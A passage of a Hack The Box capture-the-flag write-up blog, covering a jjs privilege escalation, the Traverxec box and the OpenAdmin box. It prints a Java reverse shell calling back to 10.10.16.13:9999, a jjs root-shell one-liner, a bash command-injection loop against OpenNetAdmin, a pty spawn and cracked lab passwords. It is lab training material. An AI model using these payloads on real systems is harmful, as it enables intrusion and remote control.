class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var host= &amp;#34;10.10.16.13&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var port= &amp;#34;9999&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var ProcessBuilder = Java.type(&amp;#34;java.lang.ProcessBuilder&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var p=new ProcessBuilder(&amp;#34;/bin/bash&amp;#34;, &amp;#34;-i&amp;#34;).redirectErrorStream(true).start();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var Socket = Java.type(&amp;#34;java.net.Socket&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var s=new Socket(&amp;#34;10.10.16.13&amp;#34;,&amp;#34;9999&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()&amp;gt;0)so.write(pi.read()); while(pe.available()&amp;gt;0)so.write(pe.read()); while(si.available()&amp;gt;0)po.write(si.read()); so.flush();po.flush(); Java.type(&amp;#34;java.lang.Thread&amp;#34;).sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0440.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was a jjs privilege-escalation technique. Modify the payload:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Java.type(&amp;#39;java.lang.Runtime&amp;#39;).getRuntime().exec(&amp;#39;/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;).waitFor()&amp;#34; | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just run it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0441.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box held me up for a long time, mainly because my script was extremely slow. Network speed may have made the brute-forcing slow, or the script may simply have been poorly written. Either way, that part took me ages. This was also apparently my second encounter with NoSQL injection; I hadn&amp;rsquo;t paid much attention the first time.&lt;/p&gt;&#10;&lt;p&gt;The final point was this Java technique. I didn&amp;rsquo;t know about jjs at first and only then learned it could invoke Java code, so I kept trying to construct something myself. The history did contain some examples. Although its script looked fine, reality showed that the shell simply wouldn&amp;rsquo;t connect back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0442.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I asked GPT, and there really was a problem with it.&lt;/p&gt;&#10;&lt;h2 id="20traverxec"&gt;&lt;a href="#20traverxec" class="header-anchor"&gt;&lt;/a&gt;20.Traverxec&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0443.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0444.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Accessing this machine was extremely laggy. I don&amp;rsquo;t know whether the cause was my computer or the target.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the result.&lt;/p&gt;&#10;&lt;p&gt;There was nothing on port 22.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0445.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WhatWeb found a fingerprint on port 80, and searching for it led directly to an exploit.&lt;/p&gt;&#10;&lt;p&gt;Running it gave a shell immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0446.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0447.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0448.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum helped us find a hash. CMD5 required payment, so I cracked it myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0449.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;david/Nowonly4me&lt;/p&gt;&#10;&lt;p&gt;I tried connecting over SSH, but couldn&amp;rsquo;t log in at all. Even su failed.&lt;/p&gt;&#10;&lt;p&gt;I even searched for whether there were other forms of su.&lt;/p&gt;&#10;&lt;p&gt;I began researching the website and found that it seemed to be running as root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0450.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it was only a purely front-end page, so there was nothing I could do.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0451.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That wasn&amp;rsquo;t actually how it worked. It granted execute permission, but only root could modify the file. Execution still happened as the current user.&lt;/p&gt;&#10;&lt;p&gt;By this point, I had tried every conventional technique I could think of. The solution was probably unconventional.&lt;/p&gt;&#10;&lt;p&gt;The unconventional paths I had identified were as follows:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0452.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;David&amp;rsquo;s home directory couldn&amp;rsquo;t be listed, but files in it could be executed. If we could identify any privilege-escalation files in David&amp;rsquo;s home directory, knowing their names would be enough.&lt;/p&gt;&#10;&lt;p&gt;There was another lead. I found a configuration file under the directory containing the password file, and that password-file directory was itself the website directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0453.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We had already checked the first item, and I had mapped the IP in hosts.&lt;/p&gt;&#10;&lt;p&gt;The second mentioned the user. That was fine; the process was indeed running as www-data.&lt;/p&gt;&#10;&lt;p&gt;The third only mentioned that the password was easy to crack and suggested credential reuse. It didn&amp;rsquo;t seem to offer much else.&lt;/p&gt;&#10;&lt;p&gt;The fourth mentioned a public public directory under home. We had actually found david and public_www under the home directory, but hadn&amp;rsquo;t located the latter.&lt;/p&gt;&#10;&lt;p&gt;Most importantly, we could execute things under the david directory but couldn&amp;rsquo;t list it. Only David&amp;rsquo;s home directory itself was inaccessible; child directories and files beneath it could still be accessed, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0454.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So there were currently two paths in front of us.&lt;/p&gt;&#10;&lt;p&gt;The first was to brute-force David&amp;rsquo;s home directory.&lt;/p&gt;&#10;&lt;p&gt;The second was to locate public_www.&lt;/p&gt;&#10;&lt;p&gt;I searched for public_www for a long time without success, but later made an important discovery.&lt;/p&gt;&#10;&lt;p&gt;It was hidden under the david directory. Digging through it revealed a backup SSH key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0455.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Transfer it to Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0456.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The password is shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0457.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Login succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0458.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through some files and found an interesting one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0459.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Whenever I tried privilege escalation with sudo, it required a password, so it was strange that this command didn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;Further testing showed that only the exact command /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service&lt;/p&gt;&#10;&lt;p&gt;could be run with sudo without a password. Changing even one character or argument, or appending anything, failed. The only apparent option was concatenating with |, &amp;amp;, ;, and so on, but after concatenation the extra command obviously no longer ran with the original privileges.&lt;/p&gt;&#10;&lt;p&gt;The path was also hard-coded. If it hadn&amp;rsquo;t been, the file could have been replaced to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.linuxcool.com/journalctl" target="_blank" rel="noopener"&#10; &gt;https://www.linuxcool.com/journalctl&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page explains the journalctl options: -n specifies the number of lines, while -u specifies the service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0460.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t figure out how these two facts were related at all.&lt;/p&gt;&#10;&lt;p&gt;I tried many methods afterward but never solved it. This time I read a write-up, which explained that journalctl was configured to output 5 lines. Once those lines were printed, there was no opportunity to enter a command. However, its output depends on the current window size, so all I needed to do was shrink the window.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0461.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0462.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box really tested search skills. One part was finding the configuration file, which I never found through searching and ultimately had to guess.&lt;/p&gt;&#10;&lt;p&gt;The other was researching the journalctl options, which I did find. But the key was shrinking the current terminal window so it remained inside the pager interface. I didn&amp;rsquo;t find that step through searching. I&amp;rsquo;m not sure whether this is the kind of knowledge accumulated over time or another test of search skills.&lt;/p&gt;&#10;&lt;h2 id="21openadmin"&gt;&lt;a href="#21openadmin" class="header-anchor"&gt;&lt;/a&gt;21.OpenAdmin&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0463.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0464.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Getting a foothold was easier than I expected.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.171/music/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/music/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page lets you log in or create an account.&lt;/p&gt;&#10;&lt;p&gt;Clicking login redirects to &lt;a class="link" href="http://10.10.10.171/ona/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/ona/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0465.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There is a download link at the top.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0466.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That revealed the framework and its version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0467.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Reading it showed that a url was missing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0468.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just add the url to the parameters.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;URL=&amp;#34;http://10.10.10.171/ona/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -n &amp;#34;$ &amp;#34;; read cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl --silent -d &amp;#34;xajax=window_submit&amp;amp;xajaxr=1574117726710&amp;amp;xajaxargs[]=tooltips&amp;amp;xajaxargs[]=ip%3D%3E;echo \&amp;#34;BEGIN\&amp;#34;;${cmd};echo \&amp;#34;END\&amp;#34;&amp;amp;xajaxargs[]=ping&amp;#34; &amp;#34;${URL}&amp;#34; | sed -n -e &amp;#39;/BEGIN/,/END/ p&amp;#39; | tail -n +2 | head -n -1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It then sends requests in an infinite loop, with each request containing the command you want to execute. It is essentially an interactive shell.&lt;/p&gt;&#10;&lt;p&gt;Here I chose to get a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0469.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried a bunch of things and am not sure which one worked, but the shell came back. As I understood it, the main point of this step was that a reverse shell could give me a tty.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0470.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The reverse shell could not create a tty either, which was strange.&lt;/p&gt;&#10;&lt;p&gt;Maybe I used the wrong method. I left it alone for the moment and checked the configuration files first.&lt;/p&gt;&#10;&lt;p&gt;I did not find anything, but one detail was very strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0471.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the current directory. Its parent was not the default index.html page I had seen, but the framework&amp;rsquo;s configuration directory. www happened to be its web root, which meant that:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0472.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its apache configuration had to contain indexes for ona and artwork. I first tried to find the apache configuration.&lt;/p&gt;&#10;&lt;p&gt;However, find did not locate it.&lt;/p&gt;&#10;&lt;p&gt;So I searched for artwork instead. That found the directory, and everything became clear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0473.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing that offered a privilege boundary bypass; everything belonged to www-data. There were several more directories containing applications, however, and two of them had .DS_Store files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0474.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0475.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gehaxelt/Python-dsstore" target="_blank" rel="noopener"&#10; &gt;https://github.com/gehaxelt/Python-dsstore&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Parsing them did not reveal any special directories either. They were probably included with the project.&lt;/p&gt;&#10;&lt;p&gt;I uploaded LinEnum, but it did not find anything special.&lt;/p&gt;&#10;&lt;p&gt;/usr/bin/python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;It did at least show me where python3 was, and I obtained a tty.&lt;/p&gt;&#10;&lt;p&gt;I eventually ran out of leads, so I went back and reviewed the website several times. From its php files and related material, I was certain it connected to a database.&lt;/p&gt;&#10;&lt;p&gt;I started digging through the directories and eventually reached /opt/ona/www/local/config.&lt;/p&gt;&#10;&lt;p&gt;There I found a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0476.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;n1nj4W4rri0R!&lt;/p&gt;&#10;&lt;p&gt;The path forward was becoming clear again. I first tried it against the users under home.&lt;/p&gt;&#10;&lt;p&gt;If that failed, local port 3306 was open—I had seen it while inspecting processes—so I could connect directly and look for other passwords.&lt;/p&gt;&#10;&lt;p&gt;In the end, I successfully logged in as jimmy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0477.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As always, the first thing to check was sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0478.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not use it, so my second move was to go straight to the directory I had found earlier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0479.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had not had permission to enter it before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0480.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;main.php showed that it directly ran cat /home/joanna/.ssh/id_rsa.&lt;/p&gt;&#10;&lt;p&gt;But when I tried it, I did not have permission.&lt;/p&gt;&#10;&lt;p&gt;I found a password in index.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0481.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0482.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still wanted payment.&lt;/p&gt;&#10;&lt;p&gt;Also, this password&amp;rsquo;s sha1 did not match that of n1nj4W4rri0R!.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0483.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0484.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;su failed, so I kept reading the source to see what was happening.&lt;/p&gt;&#10;&lt;p&gt;It was simple: a successful login created a session and redirected to main.php.&lt;/p&gt;&#10;&lt;p&gt;main.php executed a command to read /home/joanna/.ssh/id_rsa.&lt;/p&gt;&#10;&lt;p&gt;There was no point in starting this php file or moving it into the web directory, because the command would run with jimmy&amp;rsquo;s privileges. Running it manually did nothing for me, and putting it in the web directory would not help either, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0485.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All I knew at this point was that joanna had a private key.&lt;/p&gt;&#10;&lt;p&gt;After working on this for a while, I seemed to have exhausted every idea. Then something occurred to me.&lt;/p&gt;&#10;&lt;p&gt;The current file was owned by jimmy, but that did not mean the service that launched it also ran as jimmy.&lt;/p&gt;&#10;&lt;p&gt;In pspy32 I had only seen many apache2 processes with their pids, but no users were shown, so I started checking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0486.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had assumed that www-data with uid33 was the only user running apache2, but:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0487.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;root had started one as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0488.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an unfamiliar port that nmap had not reported. It was most likely local-only.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0489.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That produced a result: something really was there. Even when using pspy32, I need to remember to investigate manually.&lt;/p&gt;&#10;&lt;p&gt;curl kept failing, so I set up a tunnel.&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8888:localhost:52846 &lt;a class="link" href="mailto:jimmy@10.10.10.171" &gt;jimmy@10.10.10.171&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0490.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0491.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got access, but then had an idea: if this site was running as root, would writing a shell into it not give me root privileges?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0492.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My understanding was wrong. The resulting account was still joanna.&lt;/p&gt;&#10;&lt;p&gt;Still, I had finally escalated to another user.&lt;/p&gt;&#10;&lt;p&gt;sudo -l -s still did not work. I did not know the password, but first I needed sudo to work at all, because I truly had no other ideas.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0493.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login succeeded. Sure enough, after logging in I could run sudo -l.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0494.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0495.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0496.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box broadened my thinking a little, although the overall process was still similar to the earlier ones. The main lesson was to observe carefully, and most of the work centered on privilege escalation. It took two hours. The only thing I could not understand was why a shell launched through something running as root landed as joanna.&lt;/p&gt;&#10;&lt;p&gt;I started reading the write-up.&lt;/p&gt;&#10;&lt;p&gt;First point:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0497.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;curl can access main.php directly, but when I read the code it appeared to validate a session first, so that seemed impossible. The image below shows my test: accessing main redirected back to the home page, exactly as the source suggested.&lt;/p&gt;&#10;&lt;p&gt;&lt;img 